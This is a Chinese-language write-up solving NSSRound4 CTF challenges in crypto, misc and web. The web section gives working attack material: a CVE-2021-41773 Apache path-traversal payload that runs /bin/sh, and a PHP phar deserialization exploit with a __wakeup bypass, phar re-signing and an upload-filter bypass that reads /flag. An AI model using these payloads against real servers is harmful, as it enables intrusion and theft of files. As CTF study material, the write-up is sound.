【NSSRound4】题目复现

前言

当时有事情就没打,现在补票

CRYPTO

ezcrypto

Dest0g3 520招新赛那场的原题,直接exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from gmpy2 import invert

from Crypto.Util.number import *



a = 2659869614

b = 3138014669

m = 2171187379

state1 = 32421

state2 = 32382

c = 628427670713408045832213770914678202267468957347245535228951062583137095137644250375583786099578

state1_ = state1 << 16



def next(seed):

seed_new = (a * seed + b) % m

return seed_new >> 16,seed_new



'''
for i in range(2**16):

t = state1_ + i

if (a * t + b) % m >> 16 == state2:

print(t)

t_list = [2124752330,2124788500]



for i in t_list:

seed = (i - b) * invert(a,m)%m

print(seed)

seed_list = [255387149,79695939]
'''


c_bytes = long_to_bytes(c)

print(len(c_bytes))



key_list = []

seed = 79695939

for i in range(47):

key,seed = next(seed)

key_list.append(key%10)



for i in range(40):

print(chr(key_list[i+2]^c_bytes[i]),end='')

flag:NSSCTF{378f571491e6559d41ffa02e7a76653e}

MISC

Signin

下载附件是一个docker文件,打开发现:

1
2
3
from hggg/flag:v0 

RUN echo FLAG > /flag.txt

那就直接上dockerhub找hggg/flag,就可以发现flag了。

flag:NSSCTF{WDLJT_SUPER_MY_MAN}

Pixel_Signin

png图片,使用stegsolve看LSB,感觉是有些东西的。然后调整参数,RGB的0-7全部拉满,可以发现一段文本,其中有这么一串:

1
AFFPGS{Unehxv_vf_AFF_FHCREZNA_fb_guvf_gnfx_vf_rnfl}

看特征很像是凯撒,测试了下是rot13,解密得到flag:

1
NSSCTF{Haruki_is_NSS_SUPERMAN_so_this_task_is_easy}

Type Message

解压出来四个音频文件,名字结合一下就是DTMF,那就是电话声了,用dtmf2num来处理下:

1
2
3
4
D.wav:627474238133
T.wav:3118161334374
M.wav:7333221535393
F.wav:322217493

这里是九键键盘密码,比如62对应的就是N,74对应的就是S,以此类推,得到的结果是:

1
NSSCTF DTMFIS REALLY EASY

flag:NSSCTF{DTMFISREALLYEASY}

Knight’s Tour!

下载下来一个压缩包,然后还是损坏的,检查hex,发现文件头是rar的头,离谱,我们修复一下。修复之后用7z解压,得到一张图片:

看不懂,搜搜题目是啥意思,发现是一个骑士巡游问题,就是按照国际象棋中马走日的特征走遍全图。按照下面的顺序走,并且对应颜色,得到结果:

按照红0黄1的规律将每一行转化为二进制,再转化为字符,得到Ch1v@lry,这就是flag了。

WEB

1zweb

读取文件的过滤没做好,直接读取/flag就拿下了。

ez_rce

进入网页什么都没有,看一下服务器是Apache/2.4.49,直接去找漏洞,找到CVE-2021-41773任意文件读取漏洞。

测试下payload:

1
2
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh 
POST:echo;id

返回成功,漏洞存在,那么接下来读取根目录,发现有一个flag_is_here,里面存在四层,是一个文件夹迷宫,直接上bp爆破在,最后在/flag_is_here/2/0/7/6/flag中得到flag。

1zweb(revenge)

首先读取index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
if (preg_match("/flag/", $file)) {
die("nonono");
}
echo file_get_contents($file);
}

file_get_contents读phar文件时能能触发返序列化漏洞,那这里就是一个phar反序列化,令ljt===”Misc”&&$this->dky===”Re”,同时绕__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
unlink('phar.phar');
class LoveNss{
public $ljt;
public $dky;
public $cmd;
}

$a=new LoveNss();
$a->cmd="system('cat /flag');";
$a->ljt="Misc";
$a->dky="Re";
$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky');
?>

更改字符串参数数量后重新签名:

1
2
3
4
5
6
from hashlib import sha1
f = open('phar.phar', 'rb').read()
s = f[:-28]
h = f[-8:]
newf = s+sha1(s).digest()+h
open('new.phar', 'wb').write(newf)

读取upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>

不能有phar,必须是图片后缀,zip打包使用phar伪协议绕过即可:

1
file=phar://./upload/new.png/phar.phar